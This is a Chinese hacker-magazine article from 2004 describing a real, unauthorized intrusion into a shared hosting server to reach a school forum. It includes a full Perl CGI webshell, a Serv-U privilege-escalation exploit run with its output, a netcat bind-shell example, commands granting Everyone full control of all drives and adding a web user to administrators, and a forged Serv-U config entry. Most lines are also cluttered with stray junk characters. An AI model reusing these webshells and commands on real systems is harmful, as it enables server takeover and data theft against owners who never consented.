剑走偏锋——灵巧的旁注攻击 : ^9 ^+ n% a, `! Y& l. k" u
本文作者:angel6 h) X! v; l* R! y
文章性质:原创- ]' n" U- l) {: ~& x+ w+ n C; c2 \. |' Z
发布日期:2004-11-09 ]0 _! P4 C8 n! F' ]' e) }! U, I
注意:$ o* u# d! Q* B5 H" H
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。2 p# P( Z6 \4 k6 O) c* j
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。4 M2 p3 G4 @9 H8 m5 P- L7 Y6 T
) f+ O( S6 v4 e% f
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ( L% o; M2 _) i) a) z$ `# W
) C- e/ t! T8 ^9 v/ U: w3 p# Z
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
( f6 j5 s& W9 x1 @2 `- z% X5 _% _5 x- V- ?+ \( n6 v9 z7 A6 w
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
; C) v5 x5 g+ O+ D/ }
) h6 x/ F8 y2 a8 C9 A. L" P3 x 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
, ^0 R, [! N4 t5 e- S" m
1 j% K/ O9 q0 g% H 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 0 j1 @/ h" D+ B7 P9 Y' N8 h
* ~1 {2 W4 z7 ? 没有目的的跳转目录着…… 3 j- t) k; p, l( N
, @9 A' }) z( _ 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 2 p/ ^% [, h) W, q6 |: a
7 M; i$ p; @% s1 S5 n2 l/ T; } 结束了吗?不,我试着 FTP 一下:
5 H$ ]0 P8 r+ Z- n9 a/ t
0 ` l: M! h" S: l: C K5 A W1 uMicrosoft Windows 2000 [Version 5.00.2195]# k, I, z* N' y$ D H6 B! |/ Y: c$ _
(C) 版权所有 1985-2000 Microsoft Corp.
: {9 l$ [8 m* z& X) i5 m o" n. W7 |( Y" P
C:\Documents and Settings\Administrator>ftp www.school.com
5 G& g! |( Y" N; ZConnected to www. school.com.
/ `) v4 d2 ]: B% E" H' C8 \: D- k220 Welcome to FTP Server... 3 N' O" ~9 L0 q6 g
User (www.bjtrq.com:(none)): $ O% l, r' b h: G5 w
331 User name okay, need password. ( r3 v# k, k6 S( ^8 a
Password: b: u i9 \2 Q3 J
530 Not logged in. 8 a4 D$ H% N& | t+ u& P" ~2 x9 E
Login failed.
! L1 y5 s# ^, g% ?4 G. w5 Tftp> bye
3 G" O4 B! d+ w5 c1 l221 Goodbye!
O% G/ ]# H" |% j
& F L- `0 y$ C# E' c+ @7 m3 E: [* b( l: l4 r( R9 [
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
$ \. o* k1 }$ G) \2 \7 q$ P- l4 D" |- M
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
7 q- o' f* J* k! l: X' @6 N- \1 H b: u
Application Data
* T2 y& j4 W% ]1 Y, ODocuments
: s# U% n z6 g* K5 NDRM
2 G1 w- y! p2 b% B0 sFavorites
; b1 E9 ], S* L3 lTemplates! G7 U, L( C5 E7 Y8 k' n
「开始」菜单
" |- {/ W/ Q# t! @桌面9 j7 j! ` z# F- E# I p
0 l1 q9 j4 L. K: B; ?* t7 r' L! E+ `& w
- z! h( U" E9 Y1 e4 y: t 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
, d- @2 \9 g0 u! G
: G: e7 h( ] K' Y2 g) kActiveState ActivePerl 5.8: b: \. E5 G$ N7 t I+ I( D
Administrative Tools9 q! ]2 \( i/ [5 i
Deerfield.com! |) L0 X* Y, L0 F; }
DTemp( E4 S0 A: F+ r' B" |3 }
IPSentry
+ \1 L/ r7 G$ L* z: {. ~% K6 ]& [$ oMBM 5
; U+ q5 s$ ?1 h. u" n9 N+ {NetMeter' J/ i" k9 E$ y& H- ~
Network ICE& u+ f5 d5 c% ~0 U+ I6 m
Persits Software AspEmail
! A2 o5 O% ^6 \; z, ?8 v& gPersits Software AspJpeg
( d+ X2 G# K3 s: t+ X8 AServ-U FTP Server7 F5 Z$ B7 d* [; }% h) y3 d t
Symantec Client Security9 g p% Y# f; Y! l2 @* c
Windows 优化大师
8 y* N" L% g1 sWinRAR: @" ~, c2 q6 V7 g% J i$ k
启动
2 {, y+ j5 C2 z$ t# ?7 b# t管理工具
( A7 o h* f! h( l附件5 M1 T3 G4 \0 K* q
& S$ y# h% j; t6 K
3 z$ E7 f$ D: g+ i, g, |( { 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 " u% E3 p. F) {7 L9 C
% ~3 O. F2 K- a! Q+ m6 I, x& Y' }1 J/ { 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 7 H) z f g7 P) U
, s) Z- Q( T! K3 u) {* RUser281=angel|1|0
" r/ H: Q) O& ~2 L Y% Z- ^8 w y5 D) O
f( x* R* T6 K- j) W. L
然后加上 ' V" }0 J1 e! P
6 ~! |% f4 V A8 B0 ]9 J5 E
[USER=angel|1]
4 U& w8 x2 M/ } Z: aPassword=ng98F85379EA68DBF97BAADCA99B69B805
& _! Y8 A$ Y! q8 e- l( EHomeDir=D:\websites
; b; [* N, D3 o( x8 W& i/ s3 PRelPaths=1- o. h" G9 l( _! E4 U" `3 }
TimeOut=6002 C% z5 s0 G: b. m
Maintenance=System
: r/ @+ S. o$ X g# W/ jAccess1=D:\websites|RWAMELCDP
* i$ G9 _* p' d. `. JSKEYValues=1 d1 h- @+ y z- }
3 a' h- B( X- p: V2 ?8 F+ k2 q
0 i- n8 T1 Z; d8 \9 @: U7 v7 s7 l 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
9 Z- A9 J3 X* C5 T0 W2 o' i. m& ?7 l" ]
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
* r7 Z; u4 q1 l$ o6 y: [( U* [* g; b2 y0 z, v0 ]. D" {1 K
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 7 h0 J5 N1 m' ]- `( m# m X# t
4 d& Z; N4 N0 z1 L) d" C4 X
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
+ ^& p6 O. E1 i6 q Z4 ]
" f4 h% C* C2 @7 G' Q" r- M#!/usr/bin/perl( u( I' `2 M Z
binmode(STDOUT);. C2 h$ [' s/ Z+ d
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);' H) w: ~ m8 }& g' @$ `
$_ = $ENV{QUERY_STRING};9 t+ @3 {& X% C' \2 B9 E
s/%20/ /ig;
" q; \% E- t6 as/%2f/\//ig;
4 \. Q: H' t2 t) j$execthis = $_;
, c' n8 }2 Q5 Q' j/ L; xsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);0 _8 [& c3 u* u& ~9 o
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";( H) v! L/ B. ~2 E5 l4 D
system($execthis);1 {8 U7 y! v/ f6 M9 N( \
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);1 k* ?1 w3 b- r7 \
close(STDERR);
: g) F8 g- F. U2 I& P3 ^2 |close(STDOUT);
; T5 a8 r3 H1 z1 z! w# ?exit;( i7 ^3 `2 M( r- A! u" W" X
# ]$ h" O+ e3 w7 O: Q. b
% w( Z6 p8 u& P# Z- {4 |: V, r" m
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 3 x2 ~6 c8 e6 g& v2 }4 Y
' [6 x( j0 q' r6 R5 X 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 1 ~* b: V3 ^% H8 @( u) @4 K6 g& m6 [
" u! ^1 P) l+ S
http://anyhost//cmd.pl?d:\user\bin\su.exe 1 b F( Z& i3 g' e' _; k
- o- A$ m; w% ?" w
' f& g. d; v! t. O/ w5 Q 返回: % L1 @# e7 t4 q# N# z) O
3 a- s6 @ Q! j1 u
Serv-u >3.x Local Exploit by xiaolu
' E4 Q0 n G: |% O/ q% d7 K. ?+ F
USAGE: serv-u.exe "command"
5 E7 }/ u! M& v. r3 ?7 ?
; x' N0 d) h' X. o, |Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
8 U5 b- F9 {+ S 9 K+ _7 p& v. i; a6 t
2 H9 [( u. t$ N. j s* z) Y1 l
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 4 q+ n2 S1 c- k+ h' L
/ u ^ Q$ K$ J2 ~7 Vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
4 g* \ i' n2 ?* Q+ c3 ]. f* w) Q( t7 r" i9 `7 b p9 r# Q7 k
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" " F' x Y4 X% M1 P4 \' n, z1 B
* b1 C$ k' `) o0 \3 x6 W- ehttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ( [% A3 h5 w! d* s, |, Y9 _" @$ `& T
. ~$ c& O& u9 T3 Y) @; ^http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
6 M1 @( ^/ m$ S2 z2 e: j( F
7 e. q) D1 ]* R8 U; m6 z, N) K0 L, c4 y7 k) w
返回下面的信息,就表示成功了!!!
4 S. J* s! s a" w
M4 A" m- G( n; g+ bServ-u >3.x Local Exploit by xiaolu
0 z8 [' C1 V9 x7 c) v9 Q
) U- R) ~& \9 s0 L7 q* Q<220 Serv-U FTP Server v5.2 for WinSock ready... / D. J3 b6 q3 h" M3 n0 y
; c9 @! @1 ^) i6 U+ c4 |
>USER LocalAdministrator
6 k: {: ^$ I/ ^7 D: ?
) ^$ u0 g. |6 U& [<331 User name okay, need password.
, r7 C+ H; p& h; n! j- [/ K
9 k" f, ~8 [2 l0 V$ P' ?8 K****************************************************** 5 c* l, p3 j, [* w9 M
/ B( l' k& t% r1 |5 O! V
>PASS #l@$ak#.lk;0@P 5 i0 b+ K4 A' J: Q3 [
2 k1 C6 |3 ^/ k: i8 W
<230 User logged in, proceed. ; O! V/ m. B8 d6 o
3 x; c5 s6 Y G
******************************************************
. b" Q& q5 g' t3 Q$ `7 j, o% |0 w' b% a$ V7 k2 Y7 b
>SITE MAINTENANCE
; _ ]! o6 M# ? _. a
2 N# d) g% D4 Z. k* C2 ^* t******************************************************
1 k% o& G8 C; s6 Q& a3 B* E0 f% s6 ]
[+] Creating New Domain...
$ Y* f7 C" X; M3 ?# _& x4 J; i# _. h7 Y. n. B, y
<200-DomainID=2 ) c& G: _( @* h, F
4 e5 s' ]; x0 F4 [! K! U
<220 Domain settings saved " y# J7 d) C, q( c/ w0 R
3 D% A% H Q) ?6 [, [% m
****************************************************** . j# |6 \. O( P) |1 k+ ?- ]
# Z( t$ r8 K& p; `/ G5 G9 j2 \
[+] Domain xl:2 Created 4 a. Y' c7 H6 r0 d# ?- v. M5 }
- d2 [' y6 ~ i4 I$ U5 s+ N
[+] Creating Evil User $ L' A1 B# o* V# j
3 t- D3 F% n0 ^<200-User=xl
& l+ Y% P1 v" ^! G4 T+ b
: I6 ?, W' ?$ ?$ c: @6 m200 User settings saved ( a6 e6 r4 K- \, u$ F8 l" L
: F, h# k# f3 _/ ]$ [1 w0 m6 o/ C
******************************************************
& B! |3 l+ a7 M) \0 R; }
- V- _) b- ]2 F[+] Now Exploiting...
* a* h6 _/ e$ r! u$ h- P" s9 ?6 C% R+ V0 v) Q7 G. a
>USER xl
0 M# p3 h: K/ m( B
; f+ J9 A$ Z! g1 B8 _6 F<331 User name okay, need password.
" T6 o- J; O1 s4 b- j
% k/ @& {% m. C5 }6 J& H. n****************************************************** 0 s1 v/ n0 [" A2 E6 K9 m
: E& x& }0 }2 j. u' w* P9 w>PASS 111111
; A5 K, c* T6 ^
5 z8 a! E. m ^5 d<230 User logged in, proceed. * Q& T2 ]& a8 u: O! a2 I* }' q
1 b9 T. Z, ^1 E8 {******************************************************
9 t3 s0 F% K/ m7 _" s% S( O/ f- @1 [ q0 t9 h+ X( {
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 7 M# H, C7 L( I: [* S& F/ T
. y, d0 v! k8 |- B4 `
<220 Domain deleted
$ s8 Y/ d0 v; d+ x+ O# @. e
$ P: i7 }' w; U h( V****************************************************** 9 V4 h6 }( u; i+ U, p, P) d2 [
5 s7 I- h( m) k, R+ B
' B: j+ L7 v, D9 b3 l6 h) e 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
) {1 Z% }1 T0 G
+ u6 {! y% |: C( Zhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" - A9 E5 U4 P0 u2 ?
5 [6 ^: m: Z3 y+ z/ [( q# q6 L1 p5 ?
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
; v; J& r, i. l9 U& Z2 D2 j( ^8 q, \4 c3 f
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。 u$ ?6 Q! g; r
7 R0 I+ ]2 X% _4 z
: M# ^% I9 K) n( S* z4 c3 g a
|